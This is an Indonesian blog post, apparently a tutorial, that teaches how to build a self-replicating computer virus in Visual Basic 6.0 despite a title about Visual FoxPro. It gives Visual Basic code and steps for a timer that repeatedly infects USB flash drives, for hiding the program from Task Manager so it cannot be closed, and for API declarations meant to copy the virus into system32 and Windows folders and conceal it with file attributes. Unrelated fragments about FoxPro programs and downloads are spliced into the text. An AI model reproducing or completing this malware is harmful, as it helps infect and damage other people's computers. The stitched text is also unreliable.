Contoh Program Visual Foxpro 6.0

Ehm hai sobat apa kabar.? Mudah”an alhamdulilah, luar biasa, dahsyat, Allahhu Akbar yach.!!

Lama gx bikin artikel kali ini topan mau bikin artikel mengenai contoh program virus komputer nich sobat. Oke deh langsung z yach coz puuuaaaaaaannnnnnnnjang bgt. Yang harus dipersiapkan. Visual Basic 6.0 mau portable mau instaler silahkan bebas. Oh ia catatan kalau sobat membuat/mempraktekannya di Komputer sendiri maka jangan sekali” dijalankan/di running yach coz topan gx mau tanggung jawab and topan juga gx tau antivirusnya apaan. Siap” proses pembuatan, ikutin tahap-tahapnya yach.

Ini nih contoh program. Chef Zakir Recipe Book. Oya kalau prog perpus yang mas punya itu kalau mau di buka di visual Fox pro 9.0 itu. Mau nanya kalo program foxpro 2.6 pengen. Pos tentang Contoh Program Virus Menggunakan Visual Basic 6.0 yang ditulis. Visual Basic 6.0 mau portable mau instaler. Free Download Visual FoxPro 6.0.

Jangan sampai keliru. Buka Visual Basic 6.0-File-New-Standart.exe. Property Form namenya ganti jadi FVirus.

Masukan object timer dan label. Untuk object timer ganti property intervalnya menjadi 1000. Nah object timer ini berfungsi untuk mendukung penggandaan file sobat, menginfeksi flashdisk juga bisa. Sekali flashdisk di tancapkan dan di open di exproler wah berabe dah.

Heu serem kan.?? Nah untuk coding pertama silahkan masukan listing program berikut ini, sobat double klik di object timer. Untuk baris yang dikasih tanda “//” gx ush di tulis ntar programnya error. //Private Sub Timer1_Timer() Label1.Caption = Time() InfeksiDriveRemovable //End Sub Keterangan: Nah procedure diatas di buat karena adanya control timer yang akan terus memantau aktifitas sobat” semua juga dengan adanya timer ini program akan terus berjalan selama Komputer ada dalam keadaan menyala, kemudian untuk penyebaran media flashdisk maka program akan memanggil fungsi InfeksiDriveRemovable yang ada pada modul (coding untuk modul di bawah), sedangkan property interval pada object timer yang nilainya 1000 berfungsi untuk penyebaran virusnya menjadi 1 virus/10 detik sobat.

Dapat dimengti dan mudah kan.? Ah mudah ko.!!

Nah untuk coding kedua silahkan sobat double klik di object form kemudian tulis listing program berikut. Tapi ingat” seperti biasa baris yang dikasih tanda // jangan ikut di tulis yach. //Private Sub Form_Load() App.TaskVisible = False Main //End Sub Keterangan: Nah procedure ini berfungsi untuk menyembunyikan program dari taskmanager dan dari taskbar sobat, ya maksudnya kan agar program tidak terlihat dan tidak dapat di close. Ngerti lah gampang ini.

Tambahkan suatu module sobat caranya klik project-add module. Kemudian tambahkan semua coding yang ada di bawah ke modul tersebut, inget baris yang di kasih tanda “//” gx usah ditulis oke. (ah di ingetin mulu. // Mulai // Fungsi ini digunakan untuk penggandaan file sobat, baik itu hardisk maupun flashdisk.

Public Declare Function CopyFile Lib “Kernel32” (ByVal lpExistingFileName As String, ByVal lpNemFileName As String, ByVal bFailIfExists As Long) As Long // Fungsi ini digunakan untuk penggandaan virus pada folder tujuan, misal kalau sobat berada dalam suatu folder “A” selama 10 detik maka virus akan menggandakan ke folder tersebut. Public Declare Function SHGetSpecialFolderLocation Lib “Shell32.dll” (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long // Fungsi ini digunakan untuk mendapatkan daftar alamt folder yang ada pada Komputer sobat. Public Declare Function SHGetPathFromIDList Lib “Shell32.dll” (ByVal pidl As Long, ByVal pszPath As String) As Long // Fungsi ini digunakan khusus untuk penggandaan virus ke folder system32 sobat. Public Declare Function GetSystemDirectory Lib “Kernel32.dll” (ByVal lpBuffer As String, ByVal nSize As Long) As Long // Fungsi ini digunakan untuk menginfeksi folder windows (disini nich yang paling bahaya) sobat. Public Declare Function GetWindowDirectory Lib “Kernel32.dll” (ByVal lpBuffer As String, ByVal nSize As Long) As Long // Fungsi ini digunakan untuk mendeteksi drive yang terpasang pada Komputer, setelah suatu drive di deteksi maka akan di proses lebih lanjut sama si virus sobat. Public Declare Function GetDriveType Lib “Kernel32” (ByVal nDrive As String) As Long // Fungsi ini merupakan pengaturan atribut si virus agar keberadaanya sulit untuk diketahui sobat. Public Declare Function SetFileAttributes Lib “Kernel32” (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long // Fungsi ini dimaksudkan untuk pengaturan atribut file, juga pengecekan alamat folder sobat.